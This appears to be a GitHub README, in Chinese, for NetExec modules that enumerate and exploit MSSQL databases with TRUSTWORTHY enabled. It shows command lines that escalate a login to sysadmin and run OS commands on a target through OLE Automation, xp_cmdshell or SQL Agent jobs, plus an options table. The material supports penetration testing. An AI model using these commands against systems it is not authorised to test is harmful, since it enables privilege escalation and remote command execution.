JssNGC/TrustyMSSQL
GitHub: JssNGC/TrustyMSSQL
NetExec 的 MSSQL 安全测试模块,用于枚举和利用 TRUSTWORTHY 数据库配置漏洞以实现权限提升和命令执行。
Stars: 0 | Forks: 0
# NetExec MSSQL TRUSTWORTHY 模块
NetExec (NXC) 模块旨在枚举和利用配置了 `TRUSTWORTHY` 属性的 Microsoft SQL Server 数据库,允许提权至 `sysadmin` 并执行任意操作系统命令。
## 模块
### 1. `enum_trustworthy`
识别 `TRUSTWORTHY ON` 的数据库(排除 `msdb` 系统数据库),并检查当前用户或任何可模拟登录(`IMPERSONATE`)是否拥有 `db_owner` 权限。
* **只读**:不执行任何写入操作或数据库修改。
* **链接服务器**:在提供 `ENUM_LINKS=true` 参数时支持扫描链接服务器。
### 2. `trusty_exec`
通过动态创建带有 `EXECUTE AS OWNER` 的存储过程来利用 `TRUSTWORTHY` 配置不当漏洞,从而将指定登录账户分配至 `sysadmin` 角色。
支持三种执行向量(`METHOD`):
## 安装说明
将脚本文件复制到你的 NetExec 本地模块目录中:
```
cp enum_trustworthy.py ~/.nxc/modules/
cp trusty_exec.py ~/.nxc/modules/
```
```
nxc mssql --list-modules | grep -E "enum_trustworthy|trusty_exec"
```
## 使用说明
### 枚举 (`enum_trustworthy`)
枚举本地 MSSQL 实例:
```
nxc mssql -u -p --local-auth -M enum_trustworthy
```
枚举可访问的链接服务器:
```
nxc mssql -u -p -M enum_trustworthy -o ENUM_LINKS=true
```
### 利用与命令执行 (`trusty_exec`)
默认执行(OLE Automation):
```
nxc mssql -u -p --local-auth -M trusty_exec -o COMMAND="whoami /all"
```
通过 `xp_cmdshell` 执行:
```
nxc mssql -u -p --local-auth -M trusty_exec -o COMMAND="whoami" METHOD=xp
```
通过 SQL Server Agent 执行:
```
nxc mssql -u -p --local-auth -M trusty_exec -o COMMAND="whoami" METHOD=agent
```
禁用模拟检查(仅验证当前用户的直接 `db_owner` 权限):
```
nxc mssql -u -p --local-auth -M trusty_exec -o COMMAND="whoami" IMPERSONATE=false
```

## `trusty_exec` 选项
| 参数 | 默认值 | 描述 |
| --------------- | ------------------------------ | ----------------------------------------------------------- |
| `COMMAND` | *(必填)* | 要在目标上执行的 OS 命令。 |
| `METHOD` | `ole` | 执行向量 (`ole`, `xp`, `agent`)。 |
| `IMPERSONATE` | `true` | 设置为 `false` 可禁用对可模拟登录的检查。 |
| `ELEVATE_LOGIN` | 当前用户 | 要添加到 `sysadmin` 角色的登录账户。 |
| `OUTFILE` | `C:\Windows\Tasks\ole_out.txt` | `ole` 和 `agent` 执行的临时输出文件路径。 |
| `TIMEOUT` | `15` | Agent 作业完成的最长等待时间(秒)。 |
标签:逆向工具